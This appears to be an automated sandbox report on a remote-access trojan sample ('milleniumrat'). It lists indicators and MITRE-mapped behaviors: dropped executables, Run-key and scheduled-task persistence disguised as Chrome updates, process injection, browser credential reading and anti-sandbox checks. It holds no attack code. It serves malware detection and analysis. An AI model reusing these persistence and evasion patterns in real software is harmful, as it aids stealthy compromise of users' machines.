milleniumrat | fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	Build.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	s.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	main.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	Update.exe

Executes dropped EXE 13 IoCs

pid	Process
3888	Build.exe
1308	hacn.exe
1040	based.exe
508	hacn.exe
2540	based.exe
4684	s.exe
4748	main.exe
3032	svchost.exe
4140	setup.exe
2772	svchost.exe
3444	rar.exe
5832	Update.exe
6212	updater.exe

Loads dropped DLL 49 IoCs

pid	Process
4252	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe
4252	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe
2540	based.exe
508	hacn.exe
2540	based.exe
508	hacn.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
2540	based.exe
4748	main.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
2772	svchost.exe
5832	Update.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 48 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002344d-12.dat	upx
behavioral2/memory/4252-16-0x00007FFAE0360000-0x00007FFAE0952000-memory.dmp	upx
behavioral2/files/0x0007000000023446-22.dat	upx
behavioral2/files/0x000700000002344a-26.dat	upx
behavioral2/files/0x0007000000023449-25.dat	upx
behavioral2/files/0x0007000000023448-24.dat	upx
behavioral2/files/0x0007000000023447-23.dat	upx
behavioral2/files/0x000700000002344f-21.dat	upx
behavioral2/files/0x000700000002344e-20.dat	upx
behavioral2/files/0x000700000002344c-19.dat	upx
behavioral2/memory/4252-29-0x00007FFAE0360000-0x00007FFAE0952000-memory.dmp	upx
behavioral2/memory/2540-104-0x00007FFADF9F0000-0x00007FFADFFE2000-memory.dmp	upx
behavioral2/files/0x000700000002345e-109.dat	upx
behavioral2/memory/2540-127-0x00007FFAF0640000-0x00007FFAF064F000-memory.dmp	upx
behavioral2/memory/2540-126-0x00007FFAEF7C0000-0x00007FFAEF7E4000-memory.dmp	upx
behavioral2/files/0x000700000002345a-125.dat	upx
behavioral2/files/0x0007000000023459-124.dat	upx
behavioral2/files/0x0007000000023457-122.dat	upx
behavioral2/memory/2540-136-0x00007FFAEF220000-0x00007FFAEF24D000-memory.dmp	upx
behavioral2/memory/2540-145-0x00007FFADF870000-0x00007FFADF9EE000-memory.dmp	upx
behavioral2/memory/2540-144-0x00007FFAEF790000-0x00007FFAEF7B3000-memory.dmp	upx
behavioral2/memory/2540-148-0x00007FFAEB9B0000-0x00007FFAEB9E3000-memory.dmp	upx
behavioral2/memory/2540-154-0x00007FFAEFE90000-0x00007FFAEFE9D000-memory.dmp	upx
behavioral2/memory/2540-153-0x00007FFADF150000-0x00007FFADF26C000-memory.dmp	upx
behavioral2/memory/2540-152-0x00007FFAEF750000-0x00007FFAEF764000-memory.dmp	upx
behavioral2/memory/2540-150-0x00007FFADF270000-0x00007FFADF799000-memory.dmp	upx
behavioral2/memory/2540-149-0x00007FFADF7A0000-0x00007FFADF86D000-memory.dmp	upx
behavioral2/memory/2540-147-0x00007FFAF0420000-0x00007FFAF042D000-memory.dmp	upx
behavioral2/memory/2540-146-0x00007FFAEF770000-0x00007FFAEF789000-memory.dmp	upx
behavioral2/memory/2540-140-0x00007FFAEF7F0000-0x00007FFAEF809000-memory.dmp	upx
behavioral2/memory/2540-1653-0x00007FFADF870000-0x00007FFADF9EE000-memory.dmp	upx
behavioral2/memory/2540-1652-0x00007FFADF150000-0x00007FFADF26C000-memory.dmp	upx
behavioral2/memory/2540-1651-0x00007FFAEF750000-0x00007FFAEF764000-memory.dmp	upx
behavioral2/memory/2540-1649-0x00007FFADF7A0000-0x00007FFADF86D000-memory.dmp	upx
behavioral2/memory/2540-1648-0x00007FFAEB9B0000-0x00007FFAEB9E3000-memory.dmp	upx
behavioral2/memory/2540-1647-0x00007FFAF0420000-0x00007FFAF042D000-memory.dmp	upx
behavioral2/memory/2540-1646-0x00007FFAEF770000-0x00007FFAEF789000-memory.dmp	upx
behavioral2/memory/2540-1645-0x00007FFAEFE90000-0x00007FFAEFE9D000-memory.dmp	upx
behavioral2/memory/2540-1644-0x00007FFAEF790000-0x00007FFAEF7B3000-memory.dmp	upx
behavioral2/memory/2540-1643-0x00007FFAEF7F0000-0x00007FFAEF809000-memory.dmp	upx
behavioral2/memory/2540-1642-0x00007FFAEF220000-0x00007FFAEF24D000-memory.dmp	upx
behavioral2/memory/2540-1641-0x00007FFAF0640000-0x00007FFAF064F000-memory.dmp	upx
behavioral2/memory/2540-1640-0x00007FFAEF7C0000-0x00007FFAEF7E4000-memory.dmp	upx
behavioral2/memory/2540-1639-0x00007FFADF9F0000-0x00007FFADFFE2000-memory.dmp	upx
behavioral2/memory/2540-1650-0x00007FFADF270000-0x00007FFADF799000-memory.dmp	upx
behavioral2/files/0x0007000000023466-116.dat	upx
behavioral2/files/0x000700000002345f-112.dat	upx
behavioral2/files/0x0007000000023453-107.dat	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\кокершмидт = "C:\\ProgramData\\svchost.exe"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
25	raw.githubusercontent.com
26	raw.githubusercontent.com
27	raw.githubusercontent.com
93	raw.githubusercontent.com

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
20	ip-api.com
32	api.ipify.org
34	api.ipify.org

Drops file in System32 directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\GoogleUpdateTaskMachineQC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
2772	svchost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4140 set thread context of 6988	4140	setup.exe	163
PID 6212 set thread context of 5592	6212	updater.exe	181
PID 6212 set thread context of 6568	6212	updater.exe	184
PID 6212 set thread context of 6596	6212	updater.exe	185

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	setup.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1796	sc.exe
6916	sc.exe
5584	sc.exe
6960	sc.exe
6932	sc.exe
5556	sc.exe
2372	sc.exe
6420	sc.exe
1088	sc.exe
6972	sc.exe

Detects Pyinstaller 5 IoCs

pyinstaller

resource	yara_rule
behavioral2/files/0x000900000002343f-36.dat	pyinstaller
behavioral2/files/0x000900000002343f-42.dat	pyinstaller
behavioral2/files/0x000900000002343f-39.dat	pyinstaller
behavioral2/files/0x000800000002344b-165.dat	pyinstaller
behavioral2/files/0x000900000002343f-84.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
7036	schtasks.exe
3408	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5744	timeout.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
5296	WMIC.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery

T1057

pid	Process
5700	tasklist.exe
2848	tasklist.exe
2884	tasklist.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1717639945"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={71141597-B88E-48A4-AD76-13AD089071B0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 06 Jun 2024 02:12:27 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
6652	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1648	powershell.exe
1648	powershell.exe
3272	powershell.exe
3272	powershell.exe
1648	powershell.exe
3272	powershell.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
4748	main.exe
5472	powershell.exe
5472	powershell.exe
5472	powershell.exe
5204	powershell.exe
5204	powershell.exe
5204	powershell.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe
5832	Update.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2884	tasklist.exe
Token: SeDebugPrivilege	1648	powershell.exe
Token: SeDebugPrivilege	2848	tasklist.exe
Token: SeDebugPrivilege	4748	main.exe
Token: SeDebugPrivilege	3272	powershell.exe
Token: SeIncreaseQuotaPrivilege	7048	WMIC.exe
Token: SeSecurityPrivilege	7048	WMIC.exe
Token: SeTakeOwnershipPrivilege	7048	WMIC.exe
Token: SeLoadDriverPrivilege	7048	WMIC.exe
Token: SeSystemProfilePrivilege	7048	WMIC.exe
Token: SeSystemtimePrivilege	7048	WMIC.exe
Token: SeProfSingleProcessPrivilege	7048	WMIC.exe
Token: SeIncBasePriorityPrivilege	7048	WMIC.exe
Token: SeCreatePagefilePrivilege	7048	WMIC.exe
Token: SeBackupPrivilege	7048	WMIC.exe
Token: SeRestorePrivilege	7048	WMIC.exe
Token: SeShutdownPrivilege	7048	WMIC.exe
Token: SeDebugPrivilege	7048	WMIC.exe
Token: SeSystemEnvironmentPrivilege	7048	WMIC.exe
Token: SeRemoteShutdownPrivilege	7048	WMIC.exe
Token: SeUndockPrivilege	7048	WMIC.exe
Token: SeManageVolumePrivilege	7048	WMIC.exe
Token: 33	7048	WMIC.exe
Token: 34	7048	WMIC.exe
Token: 35	7048	WMIC.exe
Token: 36	7048	WMIC.exe
Token: SeIncreaseQuotaPrivilege	7048	WMIC.exe
Token: SeSecurityPrivilege	7048	WMIC.exe
Token: SeTakeOwnershipPrivilege	7048	WMIC.exe
Token: SeLoadDriverPrivilege	7048	WMIC.exe
Token: SeSystemProfilePrivilege	7048	WMIC.exe
Token: SeSystemtimePrivilege	7048	WMIC.exe
Token: SeProfSingleProcessPrivilege	7048	WMIC.exe
Token: SeIncBasePriorityPrivilege	7048	WMIC.exe
Token: SeCreatePagefilePrivilege	7048	WMIC.exe
Token: SeBackupPrivilege	7048	WMIC.exe
Token: SeRestorePrivilege	7048	WMIC.exe
Token: SeShutdownPrivilege	7048	WMIC.exe
Token: SeDebugPrivilege	7048	WMIC.exe
Token: SeSystemEnvironmentPrivilege	7048	WMIC.exe
Token: SeRemoteShutdownPrivilege	7048	WMIC.exe
Token: SeUndockPrivilege	7048	WMIC.exe
Token: SeManageVolumePrivilege	7048	WMIC.exe
Token: 33	7048	WMIC.exe
Token: 34	7048	WMIC.exe
Token: 35	7048	WMIC.exe
Token: 36	7048	WMIC.exe
Token: SeIncreaseQuotaPrivilege	7080	WMIC.exe
Token: SeSecurityPrivilege	7080	WMIC.exe
Token: SeTakeOwnershipPrivilege	7080	WMIC.exe
Token: SeLoadDriverPrivilege	7080	WMIC.exe
Token: SeSystemProfilePrivilege	7080	WMIC.exe
Token: SeSystemtimePrivilege	7080	WMIC.exe
Token: SeProfSingleProcessPrivilege	7080	WMIC.exe
Token: SeIncBasePriorityPrivilege	7080	WMIC.exe
Token: SeCreatePagefilePrivilege	7080	WMIC.exe
Token: SeBackupPrivilege	7080	WMIC.exe
Token: SeRestorePrivilege	7080	WMIC.exe
Token: SeShutdownPrivilege	7080	WMIC.exe
Token: SeDebugPrivilege	7080	WMIC.exe
Token: SeSystemEnvironmentPrivilege	7080	WMIC.exe
Token: SeRemoteShutdownPrivilege	7080	WMIC.exe
Token: SeUndockPrivilege	7080	WMIC.exe
Token: SeManageVolumePrivilege	7080	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5832	Update.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
3456	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2868 wrote to memory of 4252	2868	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe	87
PID 2868 wrote to memory of 4252	2868	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe	87
PID 4252 wrote to memory of 1908	4252	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe	88
PID 4252 wrote to memory of 1908	4252	fccf2be42bab41f3d1f8bb7778765729cdf5ed10a0bd65871ba3bd2b827c2402.exe	88
PID 1908 wrote to memory of 3888	1908	cmd.exe	114
PID 1908 wrote to memory of 3888	1908	cmd.exe	114
PID 1908 wrote to memory of 3888	1908	cmd.exe	114
PID 3888 wrote to memory of 1308	3888	Build.exe	91
PID 3888 wrote to memory of 1308	3888	Build.exe	91
PID 3888 wrote to memory of 1040	3888	Build.exe	93
PID 3888 wrote to memory of 1040	3888	Build.exe	93
PID 1308 wrote to memory of 508	1308	hacn.exe	94
PID 1308 wrote to memory of 508	1308	hacn.exe	94
PID 1040 wrote to memory of 2540	1040	based.exe	174
PID 1040 wrote to memory of 2540	1040	based.exe	174
PID 508 wrote to memory of 4452	508	hacn.exe	96
PID 508 wrote to memory of 4452	508	hacn.exe	96
PID 4452 wrote to memory of 4684	4452	cmd.exe	98
PID 4452 wrote to memory of 4684	4452	cmd.exe	98
PID 4452 wrote to memory of 4684	4452	cmd.exe	98
PID 2540 wrote to memory of 1660	2540	based.exe	99
PID 2540 wrote to memory of 1660	2540	based.exe	99
PID 2540 wrote to memory of 1768	2540	based.exe	100
PID 2540 wrote to memory of 1768	2540	based.exe	100
PID 2540 wrote to memory of 4076	2540	based.exe	103
PID 2540 wrote to memory of 4076	2540	based.exe	103
PID 2540 wrote to memory of 3280	2540	based.exe	105
PID 2540 wrote to memory of 3280	2540	based.exe	105
PID 4076 wrote to memory of 2884	4076	cmd.exe	157
PID 4076 wrote to memory of 2884	4076	cmd.exe	157
PID 1660 wrote to memory of 3272	1660	cmd.exe	109
PID 1660 wrote to memory of 3272	1660	cmd.exe	109
PID 1768 wrote to memory of 1648	1768	cmd.exe	110
PID 1768 wrote to memory of 1648	1768	cmd.exe	110
PID 4684 wrote to memory of 4748	4684	s.exe	107
PID 4684 wrote to memory of 4748	4684	s.exe	107
PID 3280 wrote to memory of 2848	3280	cmd.exe	112
PID 3280 wrote to memory of 2848	3280	cmd.exe	112
PID 4684 wrote to memory of 3032	4684	s.exe	111
PID 4684 wrote to memory of 3032	4684	s.exe	111
PID 4684 wrote to memory of 4140	4684	s.exe	113
PID 4684 wrote to memory of 4140	4684	s.exe	113
PID 3032 wrote to memory of 2772	3032	svchost.exe	115
PID 3032 wrote to memory of 2772	3032	svchost.exe	115
PID 2772 wrote to memory of 3260	2772	svchost.exe	116
PID 2772 wrote to memory of 3260	2772	svchost.exe	116
PID 2540 wrote to memory of 6976	2540	based.exe	165
PID 2540 wrote to memory of 6976	2540	based.exe	165
PID 6976 wrote to memory of 3444	6976	cmd.exe	122
PID 6976 wrote to memory of 3444	6976	cmd.exe	122
PID 2540 wrote to memory of 4924	2540	based.exe	123
PID 2540 wrote to memory of 4924	2540	based.exe	123
